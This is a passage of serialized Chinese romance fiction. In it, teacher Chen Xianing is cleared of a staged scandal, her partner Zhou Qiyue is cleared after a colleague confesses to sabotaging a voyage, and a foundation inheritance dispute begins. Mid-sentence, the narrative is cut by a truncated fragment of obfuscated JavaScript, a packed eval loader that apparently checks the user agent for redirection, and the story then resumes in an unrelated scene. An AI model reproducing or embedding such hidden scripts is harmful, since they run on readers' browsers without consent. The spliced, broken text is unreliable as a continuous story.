媒体报道中用“勾引”一词,属实断章取义,造谣诬陷陈老师。】 事实到底如何,裴青寂心知肚明,他可以当着全世界的面承认自己单恋陈老师,但网友会过度解读,议论起“师生恋”等话题,事情反而会越描越黑。 为了双方的名誉,周祈越昨天跟他商量的结果就是这样,让他否定掉任何自己的好感和喜欢。 喜欢一个人是你的自由,但如果给对方造成困扰,那么,你就要学会把这份喜欢藏好。 这也是周祈越的原话。 另一条声明则是旭日日报。 【经查明,记者高某受贿撰写虚假报道,诬陷当事人陈某。 本社在此做出诚挚的道歉,对记者高某进行解雇,日后定当严格审查新闻报道,接受大众监督。】 “我就觉得不对劲,陈老师就一个普通人,咋还有记者跟踪拍摄啊。” “反正挺可怕的,竟然有人指使记者偷拍陈老师。” “那这么说,江总和陈老师也是误会了。” 这课铁定讲不下去了,林清模就此作罢,让裴青寂先坐下。 上学期陈夏柠的新闻报道一出来,整个航院一并承受莫大的压力,因为当时赶上寒假,上级部门没急着催,学院就以在调查为由,迟迟没给出明确的定论。 实则林清模也在给陈夏柠争取时间,让她自证。 现在开学了,林清模正要犯愁陈夏柠的去留,现在这澄清来得刚刚好。 - 陈夏柠是在逛万达广场的时候看见新闻的,匆匆买完东西,边赶回家边给周祈越打电话确认。 “你去找裴青寂了?” “嗯,昨天去的。” “你怎么没提前跟我说一声啊。”陈夏柠贴着手机在耳边嘟囔。走到小区门口,随意往闸口那边一瞥,又看见那个陌生男人。 应该不算陌生了,这是第三次面了。他可真能坚持,保安都说要抓他了,还来送人头。 傻不傻。 “我这不也是没谱么。”周祈越拖腔带调道,“你那个学生还真难搞,昨天跟他软磨硬泡了半天才理我,又跟他打了一下午的球,才让他老老实实听我的话。” 陈夏柠笑:“那你晚上早点回来,我给你按摩按摩。” “老公。”她也不知怎么就说出口了,只是刷短视频的时候看见女生哄男朋友都是这么喊的。 周祈越那边明显顿了几秒:“没听清,再喊一遍。” 陈夏柠脸一热,赶紧挂断。 刷卡进闸口,她正百无聊赖地关注微博上的评论,身后传来保安和男人的掰扯。 “大哥,我真不是坏人,这是我身份证,给你。”男人语气恳求,“我真就是想找一个朋友,他叫周祈越,就住在这对不对。” ...... 有网友质疑:【早干嘛去了,隔了一个月才回应,咋滴,编理由这么慢啊?】 裴青寂回复:【新闻刚出来后,我的现实生活受到很大非议,面对各种铺天盖地的评价,我实在惶恐也百口莫辩。 这段时间,陈老师一直在多方联系报社沟通彻查此事,所以我现在才有勇气站出来应对这件事,否则仅凭我的一面之词,你们也不会相信吧。】 陈夏柠盯着屏幕言论,叹了口气,呆呆地发愣。 说到底裴青寂终究还是一个涉世未深的学生。 或许他是有好感,错把老师的关照当成喜欢,然后又被林思三言两语挑唆,稀里糊涂地给她送玫瑰花。 谁能料到会被拍到呢。 陈之夏派记者跟踪,实则想让陈夏柠身败名裂,而裴青寂也因此成为一个炮灰。 算了,她不怪他了。 这件事就当给裴青寂一个教训,警惕他以后谨言慎行,该做什么不该做什么,心里要有数。 正当陈夏柠要退出微博页面时,又一条热搜闯入视线。 #江氏总裁表示曾单恋陈老师# @JYF:【既然旧事重提,我简单说一下,那个新闻的照片不是我们在谈恋爱,人家陈老师根本不喜欢我。我俩曾是校友,普通朋友,前不久追过她,她也直接拒绝了我。 不存在报道中的“傍”,我们俩的关系就是,我单恋她,她跟我绝交,就这样。】 自从上次在医院门口,陈夏柠跟他说了那句“以后离我远点”,江逸风真就没再出现在她生活里。想当然他肯定也觉得追她没意思,去找其他女人了。 他能有这番回应,属实意外。 已经了解江逸风多么有心机,陈夏柠就难以再把他往好的方向想,也没有丝毫动容。 毕竟是他先骚扰她在先,现在站出来澄清,理所当然。 晚上周祈越下班回来,进厨房跟她一起忙活,翻开江逸风的回应,自顾自地读着网友的评论。 “原来总裁也会被拒绝啊,这是什么小说情节。” “......” “江总加油,别气馁,再接再厉。” “......” 陈夏柠正在炒着一道酸辣白菜,转身拿起白醋,盯着他的神色,“周祈越,这道菜已经不用放醋了,因为你已经够酸了。” “......”周祈越抽了抽嘴角,冷哼一声,“切,我酸一个手下败将干什么。” 瞧瞧,这语气,还不够酸吗。 陈夏柠关掉煤气,粥还得再熬一会儿,她取下围裙,上前抽走他的手机,“我有事要问你。” 周祈越被她推着离开厨房,“我只是给江逸风打过电话,就说了两句话,没让他发澄清还顺带表白的啊。” “......” 陈夏柠好笑地看他,事不关己地说:“他现在所有的言行都跟我无关,我也不在乎。我只在乎你。” 周祈越眉目一松,微不可察地勾了下嘴角,随意往沙发上一躺,把她捞进怀里。 “这还差不多。” “......” 陈夏柠靠在他胸膛,状似无意地问:“七月,我的事情解决了,那你的呢。海洋局为什么拖了那么久还没给你一个清白,凌极号的调查真就这么复杂吗?” 周祈越修长的手指缠着她发丝把玩,指尖一顿,陈夏柠视线往上挪,他眸色漆黑,一副心事重重又装作无所谓的样子。 “周七月。”陈夏柠从他身上起开,盘腿坐直,瞧着他,“你不要总是一昧地为我着想。同样,你有什么不开心的事,我也可以为你分担的。” 周祈越对上她的眼,轻笑了下。 “你快点说!”陈夏柠急了,推他一下。 其实周祈越原本不是凌极号的船长,上半年他因为养伤的缘故,逐渐退居幕后了,但去年公司内部人员调动也比较大。 凌极号八月从海云市前往南极科考,这是板上钉钉的事,原定的船长辞职,就改为了周祈越。 出于对科考的重视,公司分给他最得力的大副应尧、二副叶恒和三副段明,都是公司资历丰富的人员。 驾驶台24小时由大副、二副和三副轮流值班,而船长则是统筹全船,哪都需要巡查待命。 那天船上的饮食出了问题,几个人发生腹泻,叶恒肚子疼得难受,应尧好心跟他换了夜班。 周祈越那晚也失眠,闲来去驾驶台巡视,看见只有应尧一人,“大管去哪了?”值班应该有两人,大副和大管。 应尧:“他啊,发烧了,我让他回去了。” 周祈越皱眉:“怎么回事,集体生病啊。” 应尧:“人吃五谷杂粮哪有不生病的,更何况海上的食物细菌更多些嘛。” 周祈越叉着腰,准备陪他一起值班,走上前看雷达,迟疑了几秒:“这航线......” 话音未落,船舱外闪电和雷鸣交织,一刹那间,舱内晃动得厉害。 周祈越快速反应过来,凌极号逼近台风漩涡地带,他根本顾不得追究原因,紧要关头是调转航向。 应尧执意掌着舵,说自己可以应对。应尧比他年长,工作年限也长,周祈越平时尊他为前辈,也不好在他值班期间喧宾夺主,选择在一旁给他打下手。 但没想到,船只摇晃实在太剧烈了,雷达信号忽隐忽现。应尧满头大汗,还因惯性被甩一边。 事态已经严重到必须船长亲自上阵,将船舶驶离台风地带,中途应尧重新规划了个新航线,周祈越按照他的指挥掌舵。 等到彻底风平浪静,周祈越正喘着气,刚放下心没一会儿,又察觉他们身处的位置更危险。 紧接着,舱内有电话打来:“报告,我们被海警包围了。” 后面发生的事就更乱了,B国海警拦下凌极号,多番调查与协商,彻底耽误了科考。 回国之后,凌极号的全员接受调查,海洋局查到凌极号的航行轨迹,存在两个疑点—— 实际行驶路线和规划路线早就出现偏移,更像是凌极号主动接近台风地带;在远离台风后,重新规划的航线又像是主动靠近战火纷飞的B国海域。 再加上驾驶台内的监控在交班前发生断裂,应尧好心帮叶恒值班后的情况只有当事人清楚。 周祈越坦白承认,当时驾驶舱只有他和应尧。而应尧抢先倒打一耙,声称船长进来后亲自掌舵,所有的航线全给出自船长之手。 周祈越身为船长,的确是要为航行承担责任,但没想到昔日称兄道弟的同事会落井下石。 不仅如此,应尧还控诉他渎职,跟网络键盘侠一样怀疑他是间谍,早有蓄谋阻碍此次科考。 当时的状况,周祈越找不到证明自己清白的证据,而调查小组对应尧的措辞将信将疑。 一时间,谁真谁假,难以给出定论。 ...... 陈夏柠边听边捋出思绪,找出关键点:“那个应尧跟你有什么过节嘛,很明显这事是他在捣乱啊。” 周祈越干笑一声:“你敢相信,平日在公司我跟他还有叶恒,我们仨关系还挺好,经常被邀请去他家做客。” 正因为如此,周祈越才会深感寒心,“后来想了想,我能理解他为了自救为了以后的职业生涯,把责任推得一干二净,但我没法原谅他私自篡改航线,堵上整个船队的安危,也要拉我下台。” 归根结底,他们是同事也是竞争关系。应尧比他年长五岁,又怎会甘居他之下,如果周祈越下台,那么晋升的就是他了。 “七月。”陈夏柠眨了眨眼,一本正经道:“这个应尧,他已经连续来小区门口找你三次,都被我撞见。” 周祈越眉梢蹙起,正襟危坐,追问:“他来干什么?” “他来找你道歉。”陈夏柠今天听到周祈越的名字,便上前搭话,声称自己能联系上周祈越,应尧似乎很着急,和盘托出了来意。 “他想请你去看看他女儿。” “还有,七月,你怎么会去医院啊,还给她女儿献了血?” 周祈越娓娓道来:“他有一个十岁的女儿,因为长期面对父母的争吵,患上了抑郁症。还是应尧跟老婆离婚不久后,发现女儿有自残倾向,去医院查出来的。” “他那段时间日子过得很难熬,长期出海顾不了家,只有一个老母亲陪女儿去医院做康复治疗。” “我跟叶恒一有时间就会去他家探望。” 小女孩名叫蓓蓓,得了抑郁症后,肉眼可见的消瘦,不爱说话,家里一来客人,她就缩在角落里。 周祈越看着心疼,从她奶奶那里获知蓓蓓喜欢叶罗丽,他去玩具店买了一套玩偶给她。 那是蓓蓓第一次肯靠近陌生人,连叶恒都说,周祈越笑起来像一朵明媚的向日葵,阳光大男孩确实讨得女孩喜欢。 去年上半年,周祈越休养身体比大家都空闲,去应家的次数也最多。 陪蓓蓓玩游戏,参加课外运动,带她去医院治疗,这些爸爸应该做的事,反而变成了周祈越。 就是有一天,蓓蓓突然开口喊他:“周爸爸。” 陈夏柠惊叹:“哇,你这么讨小孩子喜欢啊。” 周祈越引以为傲地扬起下巴:“怎么,在朝阳岛你没见识过?” 他翘起尾巴补充道:“最主要还是,你老公长得帅。” “......”陈夏柠白他一眼,往沙发扶手边挪,“自恋狂,就喜欢沾花惹草。” 周祈越低笑一声,手臂搭在她腰上,把人拉回来:“我只沾你这朵花这根草。” “......” 这话陈夏柠越听越不对劲,什么花啊草啊,这都什么比喻啊。 呸呸呸,偏题了。 “那后来呢?你献血怎么没跟我说。” 周祈越:“我那天去医院做复查,刚好撞见奶奶陪蓓蓓去心理科,跟她们打了声招呼,我前脚刚走没一会儿,奶奶就跑过来找我说,蓓蓓不见了。” “在医院花园里找到蓓蓓,她用小刀割腕自杀,被送到抢救室的时候失血过多,刚好我也是B型血就给她献了血。庆幸蓓蓓的生命保住了。” 陈夏柠听得揪心,回握住他的手,“那这孩子的情况挺危险的,完全离不了人。” “嗯。” “献血那天就是你和闺蜜逛街,发消息说晚上不回来了。”周祈越顿了一下,“也是那天中午,陈之夏来找我......” 没想到还有那么多事她不知道。反观这段时间,她只顾自己遇上了麻烦,周祈越一直在安抚她。 陈夏柠神色凝重地瞧他:“七月,你之前说自己休假是为了养伤,你到底哪受伤了,为什么还去医院复查,还没好吗?” 周祈越别开眼,仰头盯着天花板,吊儿郎当道:“出海这份工作本身就存在各种风险,比如遇见海盗,被砍了一刀,后背留了点伤。” “被砍了一刀?!”陈夏柠顿时惊了,“我看看。” 话间,急忙慌地上手解他衬衫扣子。 周祈越压根没拦住,就这么突然,被她扒光。 陈夏柠目光定在他后背,有一道狭长的白色线条从右肩延伸至腰间,周边还有针线缝合的痕迹。 痊愈得不错,没有留下疤痕,但可以想象当时他被砍得有多重。 “那医生怎么说的?”陈夏柠问,“不是好了嘛,怎么还会复发?” “皮外伤痊愈了,骨裂还没恢复好,开飞机的时候又发生了点碰撞,就复发了。”周祈越斟酌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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此刻,应尧正坐在病床前拿着玩偶逗女儿,蓓蓓只是一动不动地眨眨眼,根本不理他。 “蓓蓓你看谁来了。”应尧让她看周祈越。 周祈越径自走过去,冲小女孩笑了笑,从口袋里掏出一颗柠檬糖,蓓蓓这才有了反应,抓住那颗糖。 周祈越晃了晃洋娃娃在她眼前:“蓓蓓想不想带你的娃娃去外面晒晒太阳?” 小女孩点了点头。 陈夏柠眼前一亮,佩服周祈越的个人魅力。 周祈越和奶奶牵着小女孩往外走,陈夏柠拦住应尧,跟他咨询了一下蓓蓓的病情。 “应先生,我已经帮你把周祈越带过来了,不过你也看出来了,他并不想跟你多说一句,今天能来是看在你女儿的面子上。”陈夏柠说话也不客气,“您女儿要是知道她爸爸是一个忘恩负义的人,可能以后更不会理你了吧。” “是我对不起周祈越,是我鬼迷心窍了。”应尧苦笑了下,说起自己的苦衷,“我在公司勤勤恳恳地干了十年,梦想就是当上迎都号的船长......” 作为国产大型邮轮,迎都号的配置和待遇是多少人梦寐以求的岗位,仅仅年薪百万这条就足够吸引人,可偏偏给了一个比他年轻的周祈越,这不是打他的脸嘛。 刚开始和周祈越相处,他确实有嫉妒,真正触发他有实际行动的是婚姻的失败,老婆嫌弃他挣钱少,整天不顾家,后来女儿得上抑郁症,家里还有个慢性疾病的老母亲。 哪哪都需要花钱,应尧实在不堪重负,也实在无法接受他没能成为迎都号船长的事实。 人到绝处,就容易催生邪恶的种子。在知道周祈越担任凌极号的船长时,他开始计划让这次科考失败。 毕竟科考出意外不是小事,周祈越一定会被革职。 上船后,应尧压根没闲过,利用大副之便,对船上的饮食和监控做手脚,各种看似自然而然的意外都是他的蓄意为之。 那晚应尧的本意就是想让凌极号靠近B国海域,被海警拦下,却不想中途突遇台风。 当时他也心惊胆战,因为有全员覆没的危险。 还好周祈越来探班,船长有在场证明,直接责任就更好说了。那么紧急的时刻,重新规划航线,应尧仍然按照原计划,往B国海域。 计划实施虽然出了插曲,可还好殊途同归,周祈越被停职,船长的位置暂时由他接替。 也是过年回家的时候才知道,这半年他在外出海,是周祈越在帮衬他们家,如果不是周祈越及时相救,他的宝贝女儿早就命丧黄泉了。 望着女儿在病床的样子,应尧的良知渐渐回笼,他都做了什么啊。 蓓蓓的抑郁症也有他一半原因,是他们夫妻争吵造成的,所以女儿见到他就避之不及,在接受心理干预的过程中,她唯一喊过的名字是周爸爸。 应尧觉得老天真在和自己开玩笑,女儿跟他不亲,反倒跟他陷害过的人亲。 可他又能怎么办呢,那是他唯一的孩子啊,就算丢了他这张老脸,他也得把周祈越请来。 ...... 病房内。 陈夏柠站在窗户边看楼下的小花园,周祈越正陪着蓓蓓在玩跳房子。 “应先生,我们来谈一场交易吧。”她转眼看他,眼底幽深,“我可以帮你介绍一个基金会,那里有国内顶尖的心理医生,他们专注于青少年心理健康已有十年,我会让蓓蓓免费接受最好的治疗直到痊愈。” “而你,必须亲自去海洋局承认自己的罪行,还周祈越一个清白。” 应尧愣了一下。 陈夏柠循循善诱道:“这家心理康复中心的医疗费用不低吧,而且心理医生的权威度你有了解过么,或者说,你觉得你女儿还需要再治疗几年才能重返校园?” 看他表情为难,陈夏柠留下一串号码,拎包走出去,“你好好考虑一下吧。” 结果当晚,应尧就拨通了这个电话。 - 隔日,陈夏柠拿着蓓蓓的就诊记录去暖夏基金会,她只熟悉宋晏律师,也相信他会帮这个忙。 如今宋晏已是法务部门的头部律师,坐拥独立的办公室。 宋晏给她沏了杯茶,看完蓓蓓的资料,难以启齿道:“可以是可以,但要接受治疗必须要预付30%的挂号费。” 陈夏柠喝茶的动作一顿,纳闷地看他:“什么挂号费,多少钱?” “五万。” 陈夏柠匪夷所思:“还没见到医生呢,就先狮子大开口了?” 宋晏垂下眼,转了转手中的笔,不知该怎么说。 “来这的每个患者都得付是么?” “嗯。”宋晏犹豫了一小会儿,坦言,“陈小姐,现在基金会已经大改了,跟以前的政策都不一样了。” “很多公益类的项目也要钱,甚至我们资助的青少年仅限于十八岁以下。如果要享受顶尖心理医生,那么还得另加钱。” “什么?!”陈夏柠越听越觉得荒谬,以前爷爷在世的时候,这个资助项目大学生也可以享受,年龄放宽至25岁。 “这都是谁改的规定啊,现在这样搞和外面那些盈利的医院有什么区别,甚至比那些医院还要离谱。” 宋晏闭了下眼:“是陈京辉联合副理事长一同策划的,除此之外,在未来的一个月内,很多公益宣讲类项目都会陆续停止......” 即使陈家拿不到陈淮松的直接遗产,但他们也不会放任基金会这块肥肉不管。 陈氏集团的资金漏洞如何填补,陈京辉就勾结副理事长李阔年,将基金会变成一个摇钱树,大家各享其利。 陈夏柠:“宋晏,别人不懂,你应该懂爷爷创立基金会的初心。” “我当然知道。”宋晏说,“目前基金会的股东被收买的收买,副理事长在掌握大权,我也无能无力。” 陈夏柠一下瘫在椅背,嘟囔道:“难道爷爷的心血就这么付之东流了。” 宋晏盯着她,话锋陡转:“还有一个办法。” 陈夏柠抬眼。 宋晏:“如果陈小姐继承遗产,那么你就是基金会的理事长,还拥有最大的股份,完全可以罢免他们所有的决策。” 陈夏柠眼睫颤个不停,没想到兜兜转转,她还是得面临遗产这个问题。 100. 理事长 工作日,周祈越照旧开启早起晚归的生活,其实他住基地更方便,但只要不太忙,晚上能回来就回来。 陈夏柠对海大还心存那么点希望,没着急找工作,有线上翻译兼职,短期内她能对付过来。 空闲的时候,她拿出上次在商场买的毛线和织针,靠着奶奶教给她的手艺偷摸给周祈越织毛衣,就当补偿给他的情人节礼物了。 不知不觉又过了一周,一场急雨后,海云的气温回暖。 那天是周五,皇天不负有心人,陈夏柠完成首次“大作”——一件深蓝色的毛衣,看起来还不错。 她很喜欢周祈越穿蓝色系,这个色度有男人的成熟干练,在他身上还有阳光的少年气。 在朝阳岛时,陈夏柠经常暗自感叹,他把蓝色衬衫穿得太服帖了,连带着他那双眼睛,令人第一时间想到“星辰大海”四个字。 已经迫不及待想看周祈越穿上它的样子,陈夏柠起身去卧室找手机,想问他晚上回不回来。 祝朗月和鹿雯的微信消息一致,同时转发航海学院的最新公告,满屏的官方语言。 快速浏览,视线落在正式聘用名单上,找到自己的名字。 陈夏柠呼吸停了一瞬,朝着梳妆台的镜面欣喜一笑。 她成功转正了。 从此有了一份稳定的工作。 陈夏柠趴在床上欢快地蹬着两条腿,指腹按在屏幕上给鹿雯和祝朗月道谢。自从新闻出来后,同事中只有她俩肯给她发消息,让她放宽心,毫无保留地相信她。 转念一想,这件事不完全是糟糕的,也从患难见真情中看清了一些人。 鹿雯:【陈老师,现在有空就来学校一趟吧,书记已经离职了,林院长要亲自跟你说一下后续的安排。】 “叩叩——” 陈夏柠站在院长办公室外轻敲两下门。 里面传来一声“进来”,她推门而入,客气客气跟院长颔首:“老师您好。” 林清模停下手边的工作,笑起来时眼周的皱纹折出清晰的纹路,相比较之前的和蔼可亲,他这次多了几分严肃,示意她先坐下。 “陈老师也算是经历了大风大浪啊。” 陈夏柠两手交叠放在腿上,规规矩矩地坐他对面,深知林院长有在暗地帮她争取时间自证,“谢谢老师。” “帮你的人可不止我一个。”林清模会心一笑,拉开抽屉找着什么东西,边说,“王书记临走前,提交的实习考察表上给你打出最高的评价。” “还有这个。”林清模掏出信笺推到她面前,“这是一位学生家长的来信,几经转手传到我这里了。” 陈夏柠茫然地打开信封,足足有两页纸,字迹清秀端正,足以见得写信人的真诚。 在最后一页,看到了自己的名字。 【......我深知自己不是一个合格的母亲,女儿没在家庭中得到关爱,以至于她精神世界缺失,急于在爱情中寻找慰藉,最后遇人不淑。 在这里,我很感谢陈夏柠老师,在她酿下大错的时候给予细心引导,也在第一时间察觉到她的异样,不惜以身下海去救她。 谢谢贵校培养出这么一位优秀尽责的导员,让我这个母亲没有留下终身大憾,还有机会重新弥补女儿。】 落款署名为“卓盈”,温可颜的妈妈。 陈夏柠指尖微颤,心口闷闷的。 这是一位母亲的忏悔信,也是一封致谢信。 她放下信纸,慢条斯理地放回信封,抬眸看向林院长。 林清模眼角依然是弯着的,但眼神里溢出了师长对学生的欣赏和认可。 “这才是学院留任你的真正原因。” 陈夏柠讪讪一笑,想起林院长曾当着书记和副院长的面,称她为“得意门生”。 当时下意识觉得自己担不起。 这一刻,她实至名归了。 “至于后续入职......”林清模言归正传,“人事那边有你的就诊记录,话说谁没有个三灾四病呢,等你彻底痊愈了,提交一份三甲医院开具的心理检查报告给书记,再来上班吧。慢慢来,岗位为你留着。” 陈夏柠感激不尽:“谢谢老师。” 林院长日理万机,两人没继续多聊,从办公室出来,陈夏柠下一层楼,顺便回趟办公室看看鹿雯在不在,想请她吃饭。 不曾想,撞见林思抱着纸箱从办公室出来,她这架势,一看就是离职。 毕竟留任名单上没有林思的名字。 陈夏柠瞄见鹿雯不在,跟她对视一眼,林思脸上没有一丝失落,同样用平日那股高傲的劲儿睥睨她,“陈夏柠,这次是你赢了。” 陈夏柠脊背一僵,云里雾里地瞧她。 林思话锋陡转:“不过,我并不后悔。” 于她而言,只要有竞争,只要能达成目的,她才不管手段正不正当。 没通过实习期,林思只认为是运气差了而已,那些手段被发现了。 唆使吴洵剽窃他人的作品拿奖,她觉得没错,因为她觉得别人未必有多清明。 但没想到,上周吴洵向学校承认自己剽窃是受林思授权。 还拿出两人的聊天记录作证,一切都证据确凿,学校定然不会留她这种品行不端、带坏学生的导员。 即便是这样,她仍然没有失败者模样,“是我在帮之夏监督你,不只是为了帮她,也在帮我自己除掉你这个竞争对手。但我并不后悔。” 陈夏柠扯了扯唇角,想说话的话咽下去。 每个人都有自己的处事准则,我们无法改变别人,也不能妄想对方能理解自己。 “祝你好运。”说完,她转身离开。 晚饭约上了鹿雯,两姑娘心情不错,聊到店里打烊了才回去。 陈夏柠回到家,周祈越已经换上睡衣,悠闲地窝在沙发上,翘着二郎腿,手里捧着一本航海类杂志翻阅。 自从陈夏柠说要包养他,周祈越真就赖在她家不走了。 不过她都转正了,这房租应该也到期了,向舒一直没催她,除了每个月给她转房租,两人倒没聊过其他。 陈夏柠趿拉着拖鞋走过去,周祈越闻声抬起一只胳膊,小姑娘极有默契地往他怀里靠。 “我房租要到期了,要是房东不跟我续租,你的包养生活就结束了。” 周祈越将她圈在臂弯,目光仍落在杂志上,漫不经心地回:“那刚好,轮到我包养你了,再说向舒不在海云,不着急收你房子。” “那倒也是。”陈夏柠点点头,掏出手机正要给向舒发消息,指尖一顿,扭头盯着他下颚,“我有跟你说过房东的名字么?” 周祈越愣了一下,撂下手边的杂志,瞥了眼她手机,“哦,有次不小心看见你俩的聊天了,不是故意的啊,你手机屏幕亮着在我枕头底下,硌到我了。” “......”陈夏柠抿了下唇,她时常躺在床上玩着玩着手机就睡着了。 两人也算开启了同居生活,女生的东西又多又乱,更多的时候都是他在照顾她,把她的东西摆放整齐,有次他还调侃自己像带了个女儿一起生活。 陈夏柠也说不上来为什么,在他身边就想当一个懵懂少女,哪怕被他管着也乐意。 “你想看就看,我又没有什么见不得人的事。”说着坦然把自己手机塞给他。 周祈越眉梢微扬,思量她这句话,出于等价交换也将手机撂给她,“你想查就查吧。” 陈夏柠眨了眨眼,他俩跟遇到感情危机要查聊天记录的情侣似的。 不过...... 当下这情形,她莫名生出了好奇心,就当走个过场,滑动着周祈越的好友列表。 清一色的纯爷们,全是他同学,有几个异性,分别是妹妹、妈妈和七大姑八大姨之类的亲戚。 我天,他这...... 就算她想栽赃陷害都找不到嫌疑对象的。 陈夏柠上下打量着他这张好皮囊,纳闷道:“你工作上不加人么,难道没有异性找你要微信?” 周祈越没看其他,专注翻他俩的聊天记录边说:“工作上有企业微信,平日异性加我,我就说——” “家里有个彪悍的老婆定期查岗。” “......” 陈夏柠顿时看了看自我行为——查岗,那么她就是那个彪悍的老婆了??? “周祈越,以后咱俩结婚了你不能这么败坏我的名声,”她一脸严肃地教他话术,“你在外要多夸我善解人意,温柔体贴。” “不行。”周祈越一口否定,顺着逻辑反问,“要是别人觊觎我老婆怎么办。” “......” 陈夏柠无言以对。 周祈越将聊天记录翻到他失联的那段时间,聊天框只有她一人自言自语。 【你还好吗?】 【我听说凌极号的情况了。】 ...... 【周祈越,你会平安归来的吧。】 【我很担心你,希望你平安无恙。】 ...... 【周祈越】 【周祈越】 【周祈越】 ...... 即使过了那么久,看着这些单向聊天,也能想象她当时有多么担心。 陈夏柠讶然,周祈越看她手机竟是为了找这段记录。 “柠柠。” “嗯?”陈夏柠眨了眨眼,耐心等着下文。 周祈越眸光流转,沉吟片刻,“无论以后的航行有多远,我一定会平安归来。因为你在这里,你就是我的归途。” 有你在我身边,我的牵绊又多了一份,不舍得让你担忧,我只会更加珍视自己的性命。 陈夏柠抿唇一笑,用力点了下头。 聊了半天,想起正事,她忙不迭回房间拿毛衣,让他试穿上。 “嗯,不错,我挺有天赋。”陈夏柠洋洋自得,举起手机给他拍照。 周祈越随意坐着当模特,见她拍上了瘾,找由头说自己要去洗澡了。 陈夏柠就此作罢,返回页面查看照片,因为是用他手机拍的,一点开他相册,脱口而出:“你平时不拍照的嘛,就这么点照片。” 周祈越走到洗漱间门口,进去前回了句:“我嫌占内存,都存q.q相册了。” q.q那可是少年时代的产物啊。 陈夏柠的好奇心瞬间拉满,点进去找相册,照片足足有上万张,全部仅自己可见,好在他的相册有做分类。 - 等周祈越洗完澡出来,陈夏柠正一脸严肃跟人打电话,是宋晏在跟她提遗产继承的事,他坐在旁边听着只言片语。 挂断后,陈夏柠一时拿不定主意,跟他说起基金会目前的情况。 关于陈家的事,平时聊天,陈夏柠会闲扯几句,周祈越对陈家的人有了大致了解。 陈夏柠原本只想远离陈家这趟浑水,但这次有所动摇了,不只是因为她跟应尧的交易。 “暖夏是爷爷因我而创立,这十年专注青少年心理健康,国内影响力显著,我实在不忍心看它成为资本家洗钱的基地。” 陈夏柠想起了蓓蓓,想起了温可颜,“我希望暖夏能一直坚守初心,造福更多人。但又......” 周祈越对上她的眼,接话茬:“你担心与养父母为敌,一旦继承遗产,你就会成为众矢之的。” “嗯。”陈夏柠始终过不去心里的那道坎,“我跟陈家没有任何血缘关系,如果继承遗嘱,真就成为了一个骗钱的冒牌货了。” “那你会么?” “当然不会!”陈夏柠坚定地说,“我不会拿一分钱,爷爷的财产都应属于慈善事业。” “其实你不必有太多负担,遗产这么重要的东西肯定是经过深思熟虑才给你的。”周祈越一边用毛巾擦着头发一边说,“陈爷爷有那么多儿女,没留给他们,可见当事人早就预料到这钱给子女会变成什么样,所以即便知道你不是亲孙女,也没改遗嘱。” “因为他知道,这笔钱在你手里才会发挥真正的用处。” “或许,在更早以前......”周祈越停下擦头的动作,眸色一沉,“在立遗嘱之前,陈爷爷应该就知道你不是亲孙女了。” 陈夏柠怔了一下,呆呆地瞧他。 周祈越点着她说:“你想想陈爷爷临终前的最后一句话。” 陈夏柠对那个场景记忆犹新,她趴在病床前泪流不止,跟爷爷道歉。 陈淮松气息微弱,说话断断续续,没说完就断气了—— “我其实一直,一直,一直都知道——” 周祈越有一个大胆的猜测:“他应该是想说,他一直都知道你不是他亲孙女,但是选择了自欺欺人。” “......” - 根据宋晏的透露,暖夏在三月中旬有一场股东大会,届时李阔年和陈京辉会宣布基金会的转型计划。 陈夏柠的顾虑,周祈越自然知道,也说过:“你不用担心,有我在,陈家不敢动你分毫。” “想做什么就大胆地去做。” 如果那些人要用背景和权势打压她,周祈越自然不会让陈家有好果子吃。 自从陈淮松离世后,陈氏集团就开始走下坡路,现在国内航运公司的大头是上远集团,哪家公司要跟周家作对,那就是自寻死路。 陈夏柠还是希望这件事不要牵扯到周祈越。 距离做决定还有一周的时间,想起学校要她开证明,陈夏柠在手机上看了几条航海视频,听到海浪声,没有了恐惧,完全脱敏了。 她觉得自己已经好了,满怀希望地去找季医生面诊,在催眠室,季复临对她做了很多测试。 的确,她的状况大有改观。 但陈夏柠醒来后感觉心里空落落的,“季医生,我好像还有些事没想起来,但我说不出来,就是有一些模糊的片段,不知道真假。” 季复临安慰说:“不着急,你现在已经克服了恐惧症,恢复记忆是迟早的事,可能在生活里某个场景中就突然想到了。” 好在她的心理检查报告,显示一切正常。 心里的一块石头悄然落下。 这么多年,恐惧症是她的心头病,为此在青春期遭受不少非议,总算有这么一天为自己正名了。 陈夏柠拿着报告去学校时,遇见了江澈,彼时篮球场在举行校际比赛,江澈代表航空大学。 中途休息,有个女生捧着一瓶水送到他面前,许多人都在注视她的举动,那女生看着够果敢,在江澈接过水后,还掏出纸巾给他额头擦汗。 一旁观摩的队友们哦哟几声,纷纷打趣江澈:“江少爷,送上门的女朋友要不要啊?” 江澈掀起眼皮,懒懒地打量着女生,笑容风情万种:“你喜欢我啊?” 女生直白道:“喜欢。” 然后看台上,一波看客开始起哄:“答应她,答应她。” 江澈将女生揽入怀中的那一刻,很多学生都在尖叫。 这样的场景每天都在上演,青春中迷恋某个人,一股冲劲儿地想要告白,想要拥有。 陈夏柠神色极为复杂,定定地望着那个春风满面的女孩子。 等待她的会是一段甜甜的恋爱吗? 或者说,她真的喜欢江澈吗? 前不久,陈夏柠在书店里翻到一本书,有个心理学家分析了青春男女的爱恋,其中有个标题叫做“为什么乖乖女总喜欢坏小子”。 原因有很多,她不太记得了,但那个心理学家将这种喜欢归为一个无知少女的自我感动。如果两人成为男女朋友,发生关系,那么结局往往...... 当时陈夏柠只是随意扫了两眼,现在看着操场上的场景,像是得到了验证。 江澈还是那个江澈,并没有像电视剧演的那样,在失去对方后,发现自己非她不可,从此活在悔恨中。 而温可颜,好像就是江澈生活里的甲乙丙丁,一个可以随时被取代、被忘记的选择。 这就是浪子,他们没付出多少真心,自然不会承受多少失去的痛苦。 真正痛苦的只有付出最多的那个人罢了。 思及此,陈夏柠倍感担忧温可颜的现状。 去年在医院一别,她自己也遇到了很多事,没顾得上关注后续。 去找新上任的书记提交检测报告时,陈夏柠刚好碰见休产假回来的庄老师,原本自己实习期就是在接替庄老师的工作,现在归于其位了。 她跟庄老师聊了几句,获知开学的时候温可颜的妈妈来学校办理了休学。 看样子不太乐观,她要到了卓盈的电话,想去看看温可颜。 